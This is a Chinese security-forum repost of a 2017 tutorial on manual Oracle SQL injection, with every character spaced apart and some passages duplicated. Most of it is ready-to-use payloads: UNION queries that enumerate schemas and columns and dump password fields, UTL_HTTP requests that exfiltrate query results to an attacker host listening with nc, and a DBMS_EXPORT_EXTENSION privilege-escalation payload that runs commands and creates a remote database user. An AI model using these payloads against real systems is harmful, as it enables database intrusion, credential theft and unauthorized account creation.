设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [20843] 2017-08-07_oracle手工注入总结
返回列表 发新帖
查看: 8|回复: 0

[20843] 2017-08-07_oracle手工注入总结

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-54

积分

管理员

积分
-54
发表于 2025-1-18 21:17:34 | 显示全部楼层 |阅读模式
2017-08-07_oracle手工注入总结 o r a c l e 手 工 注 入 总 结 原 创   l e m o n   L e m o n S e c   2 0 1 7 - 0 8 - 0 7 1 . 判 断 是 否 存 在 注 入 点 的 方 法 和 其 他 数 据 库 类 似 ， 判 断 是 否 存 在 注 入 点 的 方 法 和 其 他 数 据 库 类 似 ， a n d   1 = 1   和 和 a n d   1 = 2 2 . 判 断 数 据 库 为 判 断 数 据 库 为 o r a c l e 提 交 注 释 字 符 / * ， 返 回 正 常 即 是 M y S Q L ， 否 则 继 续 提 交 注 释 符 号 - - ， 该 符 号 是 O r a c l e 和 M s S Q L 支 持 的 注 释 符 ， 返 回 正 常 就 需 要 继 续 判 断 。 可 以 继 续 提 交 多 语 句 支 持 符 号 ; 如 果 支 持 多 行 查 询 ， 说 明 是 M S S Q L ， 因 为 O r a c l e 不 支 持 多 行 查 询 ， 可 以 继 续 提 交 查 询 语 句 ： a n d   e x i s t ( s e l e c t   *   f r o m   d u a l )         或 或         a n d   ( s e l e c t   c o u n t ( * )   f r o m   u s e r _ t a b l e s ) < 0 - - 利 用 的 原 理 是 d u a l 表 和 u s e r _ t a b l e s 表 是 o r a c l e 中 的 系 统 表 ， 返 回 正 常 就 判 断 为 O r a c l e 3 . 获 取 基 本 信 息 获 取 基 本 信 息 ( 1 ) 获 取 字 段 数 ， 同 样 可 以 使 用 o d e r   b y   N   根 据 返 回 页 面 判 断 此 处 我 判 断 为 8 个 由 于 o r a c l e 对 字 段 类 型 敏 感 ， 此 时 判 断 每 个 字 段 的 类 型 ， 判 断 出 来 的 类 型 如 下 带 引 号 的 为 字 符 型 ， n u l l 为 除 数 字 型 和 字 符 型 的 其 他 类 型 。 （ 假 设 为 未 判 断 出 类 型 ）
( 2 ) 获 取 数 据 库 版 本 ， 执 行 下 面 语 句 ： ( s e l e c t   b a n n e r   f r o m   s y s . v _ $ v e r s i o n   w h e r e   r o w n u m = 1 )         此 句 放 在 字 符 型 字 段 处 完 整 的 ： s e l e c t   *   f r o m   " p s "   w h e r e   " i d " = 2   a n d   1 = 2   u n i o n   s e l e c t   1 , ' 2 ' , 3 , ( s e l e c t   b a n n e r   f r o m   s y s . v _ $ v e r s i o n   w h e r e   r o w n u m = 1 ) , 5 , ' 6 ' , 7 , n u l l   f r o m d u a l ( 1 ) 爆 数 据 库 名 #   爆 出 第 一 个 数 据 库 名 a n d   1 = 2   u n i o n   s e l e c t   1 , 2 , ( s e l e c t   o w n e r   f r o m   a l l _ t a b l e s   w h e r e   r o w n u m = 1 ) , 4 , 5 , 6   f r o m   d u a l
#   依 次 爆 出 所 有 数 据 库 名 , 第 一 个 库 名 为 S Y S a n d   1 = 2   u n i o n   s e l e c t   1 , 2 , ( s e l e c t   o w n e r   f r o m   a l l _ t a b l e s   w h e r e   r o w n u m = 1   a n d   o w n e r > ' S Y S ' ) , 4 , 5 , 6   f r o m   d u a l s e l e c t   *   f r o m   " p s "   w h e r e   " i d " = 2   a n d   1 = 2   u n i o n   s e l e c t   1 , ' 2 ' , 3 , ' 4 ' , 5 , ( s e l e c t   o w n e r   f r o m   a l l _ t a b l e s   w h e r e   r o w n u m = 1   a n d   o w n e r > ' S Y S ' ) , 7 , n u l l f r o m   d u a l 依 次 替 换 库 名 即 可
( 2 ) 爆 出 表 名 #   爆 出 第 一 个 表 名 ( s e l e c t   t a b l e _ n a m e   f r o m   u s e r _ t a b l e s   w h e r e   r o w n u m = 1 ) 完 整 句 子 ： s e l e c t   *   f r o m   " p s "   w h e r e   " i d " = 2   a n d   1 = 2   u n i o n   s e l e c t   1 , ' 2 ' , 3 , ' 4 ' , 5 , ( s e l e c t   t a b l e _ n a m e   f r o m   u s e r _ t a b l e s   w h e r e   r o w n u m = 1 ) , 7 , n u l l f r o m   d u a l 同 理 , 同 爆 出 下 一 个 数 据 库 类 似 爆 出 下 一 个 表 名 就 不 说 了 , 但 是 必 须 注 意 表 名 用 大 写 或 者 表 名 大 写 的 十 六 进 制 代 码 。 ( s e l e c t   t a b l e _ n a m e   f r o m   u s e r _ t a b l e s   w h e r e   r o w n u m = 1   a n d   t a b l e _ n a m e > ' A Q $ _ I N T E R N E T _ A G E N T S ' ) 完 整 句 子 ： s e l e c t   *   f r o m   " p s "   w h e r e   " i d " = 2   a n d   1 = 2   u n i o n   s e l e c t   1 , ' 2 ' , 3 , ' 4 ' , 5 , ( s e l e c t   t a b l e _ n a m e   f r o m   u s e r _ t a b l e s   w h e r e   r o w n u m = 1   a n d t a b l e _ n a m e > ' A Q $ _ I N T E R N E T _ A G E N T S ' ) , 7 , n u l l   f r o m   d u a l 如 下 。 依 次 替 换 爆 出 来 的 表 名
有 时 候 我 们 只 想 要 某 个 数 据 库 中 含 密 码 字 段 的 表 名 , 采 用 模 糊 查 询 语 句 ， 如 下 ： ( s e l e c t   c o l u m n _ n a m e   f r o m   u s e r _ t a b _ c o l u m n s   w h e r e   c o l u m n _ n a m e   l i k e   ' % p a s s % ' ) 完 整 语 句 ： s e l e c t   *   f r o m   " p s "   w h e r e   " i d " = 2   a n d   1 = 2   u n i o n   s e l e c t   1 , ' 2 ' , 3 , ' 4 ' , 5 , ( s e l e c t   c o l u m n _ n a m e   f r o m   u s e r _ t a b _ c o l u m n s   w h e r e c o l u m n _ n a m e   l i k e   ' % p a s s % ' ) , 7 , n u l l   f r o m   d u a l ( 3 ) 爆 字 段 名 #   爆 出 表     p s     中 的 第 一 个 字 段 名
( s e l e c t   c o l u m n _ n a m e   f r o m   u s e r _ t a b _ c o l u m n s   w h e r e   t a b l e _ n a m e = ' p s '   a n d   r o w n u m = 1 ) 完 整 的 句 子 ： s e l e c t   *   f r o m   " p s "   w h e r e   " i d " = 2   a n d   1 = 2   u n i o n   s e l e c t   1 , ' 2 ' , 3 , ' 4 ' , 5 , ( s e l e c t   c o l u m n _ n a m e   f r o m   u s e r _ t a b _ c o l u m n s   w h e r e t a b l e _ n a m e = ' p s '   a n d   r o w n u m = 1 ) , 7 , n u l l   f r o m   d u a l 这 样 就 可 以 爆 出 所 有 的 字 段 名 了 。 这 样 就 可 以 和 普 通 的 注 入 一 样 获 取 字 段 内 容 了 ( s e l e c t   c o l u m n _ n a m e   f r o m   u s e r _ t a b _ c o l u m n s   w h e r e   t a b l e _ n a m e = ' p s '   a n d   c o l u m n _ n a m e > ' i d '   a n d   r o w n u m = 1 ) 完 整 语 句 ： s e l e c t   *   f r o m   " p s "   w h e r e   " i d " = 2   a n d   1 = 2   u n i o n   s e l e c t   1 , ' 2 ' , 3 , ' 4 ' , 5 , ( s e l e c t   c o l u m n _ n a m e   f r o m   u s e r _ t a b _ c o l u m n s   w h e r e t a b l e _ n a m e = ' p s '   a n d   c o l u m n _ n a m e > ' i d '   a n d   r o w n u m = 1 ) , 7 , n u l l   f r o m   d u a l 依 次 往 下 推 就 可 以 爆 出 所 有 的 字 段 了
然 后 根 据 上 面 爆 出 来 的 表 还 有 字 段 ， 爆 表 中 数 据 ： ( s e l e c t   " p a s s w o r d "   f r o m   " p s "   w h e r e   " i d " = 1 ) 完 整   语 句 ： s e l e c t   *   f r o m   " p s "   w h e r e   " i d " = 2   a n d   1 = 2   u n i o n   s e l e c t   1 , ' 2 ' , 3 , ' 4 ' , 5 , ( s e l e c t   " p a s s w o r d "   f r o m   " p s "   w h e r e   " i d " = 1 ) , 7 , n u l l   f r o m   d u a l O r a c l e 中 查 看 系 统 所 有 的 表 和 所 有 的 字 段 中 查 看 系 统 所 有 的 表 和 所 有 的 字 段 获 取 表 ：
                                    s e l e c t t a b l e _ n a m e f r o m u s e r _ t a b l e s ;   / / 当 前 用 户 拥 有 的 表   s e l e c t t a b l e _ n a m e f r o m a l l _ t a b l e s ;   / / 所 有 用 户 的 表   s e l e c t t a b l e _ n a m e f r o m d b a _ t a b l e s ;   / / 包 括 系 统 表 s e l e c t t a b l e _ n a m e f r o m d b a _ t a b l e s w h e r e o w n e r = ' 用 户 名 '   u s e r _ t a b l e s 的 字 段 包 括 ： t a b l e _ n a m e , t a b l e s p a c e _ n a m e , l a s t _ a n a l y z e d d b a _ t a b l e s 的 字 段 包 括 ： o w e r , t a b l e _ n a m e , t a b l e s p a c e _ n a m e , l a s t _ a n a l y z e d 等 a l l _ t a b l e s 的 字 段 包 括 ： o w e r , t a b l e _ n a m e , t a b l e s p a c e _ n a m e , l a s t _ a n a l y z e d 等 a l l _ o b j e c t s 的 字 段 包 括 ： o w e r , o b j e c t _ n a m e , s u b o b j e c t _ n a m e , o b j e c t _ i d , c r e a t e d , l a s t _ d d l _ t i m e , t i m e s t a m p , s t a t u s 等     获 取 表 字 段 ： s e l e c t * f r o m u s e r _ t a b _ c o l u m n s w h e r e T a b l e _ N a m e =
                                          ' 用 户 表 ' ; s e l e c t * f r o m a l l _ t a b _ c o l u m n s w h e r e T a b l e _ N a m e = ' 用 户 表 ' ; s e l e c t * f r o m d b a _ t a b _ c o l u m n s w h e r e T a b l e _ N a m e = ' 用 户 表 ' ;   u s e r _ t a b _ c o l u m n s 的 字 段 包 括 ： t a b l e _ n a m e , c o l u m n _ n a m e , d a t a _ t y p e , d a t a _ l e n g t h , d a t a _ p r e c i s i o n , d a t a _ s c a l e , n u l l a b l e , c o l u m n _ i d 等   a l l _ t a b _ c o l u m n s   字 段 包 括 ： o w e r , t a b l e _ n a m e , c o l u m n _ n a m e , d a t a _ t y p e , d a t a _ l e n g t h , d a t a _ p r e c i s i o n , d a t a _ s c a l e , n u l l a b l e , c o l u m n _ i d 等   d b a _ t a b _ c o l u m n s 字 段 包 括 ： o w e r , t a b l e _ n a m e , c o l u m n _ n a m e , d a t a _ t y p e , d a t a _ l e n g t h , d a t a _ p r e c i s i o n , d a t a _ s c a l e , n u l l a b l e , c o l u m n _ i d 等   获 取 表 注 释 ： s e l e c t * f r o m u s e r _ t a b _ c o m m e n t s u s e r _ t a b _ c o m m e n t s ： t a b l e _ n a m e , t a b l e _ t y p e , c o m m e n t s 相 应 的 还 有 d b a _ t a b _ c o m m e n t s ， a l l _ t a b _ c o m m e n t s ， 这 两 个 比 u s e r _ t a b _ c o m m e n t s 多 了 o w e r 列 。  
          5 . O r a c l e 注 入 过 程 的 特 性 注 入 过 程 的 特 性 这 点 主 要 说 明 在 O r a c l e 注 入 中 和 其 他 数 据 库 注 入 不 大 一 样 的 几 点 说 明 。 ( 1 ) 字 段 类 型 必 须 确 定 o r a c l e 注 入 中 严 格 要 求 各 个 字 段 的 类 型 必 须 和 定 义 的 一 致 否 则 会 出 错 ， 我 们 可 以 通 过 下 面 方 法 确 定 各 个 字 段 的 类 型 。 a n d   1 = 2   u n i o n   s e l e c t   ' n u l l ' , n u l l , n u l l , n u l l , n u l l , n u l l   f r o m   d u a l 如 此 依 次 将 下 面 的 每 个 n u l l 用 单 引 号 替 换 ， 查 看 返 回 页 面 ， 返 回 正 常 说 明 那 个 字 段 为 字 符 型 。 确 定 所 有 字 段 类 型 后 就 可 以 注 入 了 ，   是 字 符 型 的 就 用 ‘ n u l l ’ ， 数 字 型 的 就 直 接 n u l l ( 2 ) U T L _ H T T P 存 储 过 程 反 弹 注 入 o r a c l e 中 提 供 u t l _ h t t p . r e q u e s t 的 包 函 数 , 用 于 取 得 远 程 w e b 服 务 器 的 请 求 信 息 ， 因 为 我 们 可 以 利 用 它 来 反 弹 回 信 息 。 再 加 上 o r a c l e 本 身 经 常 是 已 s y s t e m 运 行 的 ， 所 以 拿 下 了 o r a c l e 基 本 拿 下 了 服 务 器 了 。 具 体 使 用 方 法 如 下 ： #   判 断 U T L _ H T T P 存 储 搓 成 是 否 可 用 a n d   e x i s t ( s e l e c t   c o u n t ( * )   f r o m   a l l _ o b j e c t s   w h e r e   o b j e c t _ n a m e = ' U T L _ H T T P ' ) #   第 一 步 ， 本 地 用 n c 监 听 一 个 端 口 n c   - v v   - l   - p   8 9 8 9 #   注 入 点 执 行 a n d   u t l _ h t t p . r e q u e s t ( ' h t t p : / / a t t a c k e r - i p : p o r t ' | | ( S Q L   Q u e r y ) ) = 1 #   举 个 例 子 a n d   u t l _ h t t p . r e q u e s t ( ' h t t p : / / a t t a c k - i p : p o r t ' | | ( s e l e c t   b a n n e r   f r o m   s y s . v _   w h e r e   r o w n u m = 1 ) ) = 1 - - 在 N C 端 就 会 接 收 到 S Q L 执 行 返 回 的 结 果 。 这 个 有 点 麻 烦 ， 因 为 每 次 注 入 点 提 交 一 次 请 求 有 n c 会 断 开 连 接 ， 需 要 重 新 启 动 。 ( 3 ) 系 统 特 性 在 不 同 的 O S 平 台 我 们 需 要 考 虑 到 ， 在 w i n d o w 下 ， o r a c l e 是 已 服 务 方 式 启 动 ， 在 w e b 注 射 下 就 可 以 直 接 获 得 s y s t e m 权 限 ， L i n u x 下 虽 然 不 是 r o o t 不 过 权 限 也 挺 高 的 ， 可 能 可 以 通 过 w e b 注 射 添 加 系 统 帐 户 。 他 们 同 样 用 到 的 函 数 是 ： S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T . D O M A I N _ I N D E X _ T A B L E S ( ) 具 体 的 应 用 方 法 是 S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T . D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; [ A t t a c k - C o m m a n d ] E N D ; - - ' , S Y S ' , 0 , ' 1 ' , 0 ) 将 其 中 的 A t t a c k - C o m m a n d 替 换 成 对 应 的 命 令 即 可 ， 但 是 需 要 说 明 的 是 该 利 用 方 法 必 须 结 合 上 面 的 U T L _ H T T P 存 储 过 程 。 ( 4 ) 注 入 点 创 建 r u n C M D 和 文 件 操 作 这 个 没 有 实 践 过 不 敢 妄 言 ， 等 有 了 实 践 再 行 补 上 ( 5 ) 创 建 远 程 连 接 帐 号 注 入 点 执 行 ： a n d   ' 1 ' < > ' 2 ' | | ( s e l e c t S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T . D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E I M M E D I A T E   ' '   D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' '   ' '   C r e a t e   U S E R   L e n g F I D E N T I F I E D   B Y   L e n g F   ' '   ' ' ; E N D ; - - ' , S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l ) 确 定 帐 号 是 否 添 加 成 功 ： a n d   1 < > ( s e l e c t   u s e r _ i d   f r o m   a l l _ u s e r s   w h e r e   u s e r n a m e = ' l e n g f ' )   获 取 字 段 注 释 ： s e l e c t * f r o m u s e r _ c o l _ c o m m e n t s u s e r _ c o l _ c o m m e n t s ： t a b l e _ n a m e , c o l u m n _ n a m e , c o m m e n t s 相 应 的 还 有 d b a _ c o l _ c o m m e n t s ， a l l _ c o l _ c o m m e n t s ， 这 两 个 比 u s e r _ c o l _ c o m m e n t s 多 了 o w e r 列 。
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-2-2 21:07 , Processed in 0.488655 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表